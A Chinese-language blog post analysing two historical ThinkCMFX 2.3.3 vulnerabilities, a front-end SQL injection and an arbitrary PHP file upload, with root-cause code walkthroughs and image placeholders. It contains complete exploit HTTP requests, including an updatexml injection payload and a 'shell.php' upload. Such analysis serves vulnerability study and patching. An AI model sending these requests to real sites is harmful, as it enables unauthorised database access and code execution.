历史漏洞分析之ThinkCMFX(一)

环境

php5.6+ThinkCMFX 2.3.3+debian

前台SQL注入

exp

POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
Host: localhost
Connection: close
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+-

漏洞成因

Thinkphp3.x SQL一大鸡肋之处就是需要where函数可控,ThinkCMF可以SQL注入,就是利用调用where函数之处参数可控。当然在框架下的基本都是PDO调用可利用可以多考虑多语句注入,注意编译报错、绑定错误导致注入失败。

还有许多地方有sql注入,就不一一分析,原理相似。具体见:https://github.com/thinkcmf/cmfx/issues/26

漏洞分析

I方法解析POST方式传入的参数,赋值给$article并取出’id’键,传入where函数中

1573900690937

where函数将传入的参数赋值到options['where'],返回options

1573902053580

接着调用save函数,再调用update函数.接着进入parseWhereItem函数,满足'bind'==$exp直接拼接0+and+(updatexml(1,concat(0x7e,(select database()),0x7e),1)).

 1573900090545

最后将拼接完的sql语句,传入execute方法执行.成功进行预编译、参数绑定

/ThinkCMFX/simplewind/Core/Library/Think/Db/Driver.class.php

1573902382521

前台任意文件上传

exp

POST /cms/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=3s9fhojod2n1op7esv3e6gab91
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 235
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099


-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php phpinfo();?>
-----------------------------4714631421141173021852555099--

1573906050447

漏洞成因

对错误管理并未直接Down掉程序,造成图片配置$config配置畸形.且存在二次赋值$_FILES也为前者图片配置构造畸形铺路

漏洞分析

传入$filetype='file',sp_get_upload_setting调用系统默认配置,$allowed_exts由于explode无法拆分二维数组报错返回NULL.

1573908023054

代码继续往下执行,进入upload方法,观察第120行,如果参数不存在会直接赋值全局变量$_FILES,这也造成一定隐患。因为文件默认配置会放在ueditor_upload方法入口前几行,由于传入的$_FILES数组不符合参数规则,会造成报错,即后续$config配置会置为空

1573908369586

继续跟进代码,在后续对后缀检测,由于$config[‘exts’]=NULL,即使文件为非法后遭”php”直接绕过检测

1573908792843

在之后的文件名生成,调用uniqid方法生成文件名,可以通过多上传文件进行文件名字爆破

1573907345782

最后调用save方法,move_uploaded_file保存文件.

1573909016008

参考链接

https://mochazz.github.io/2019/07/25/ThinkCMFX%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!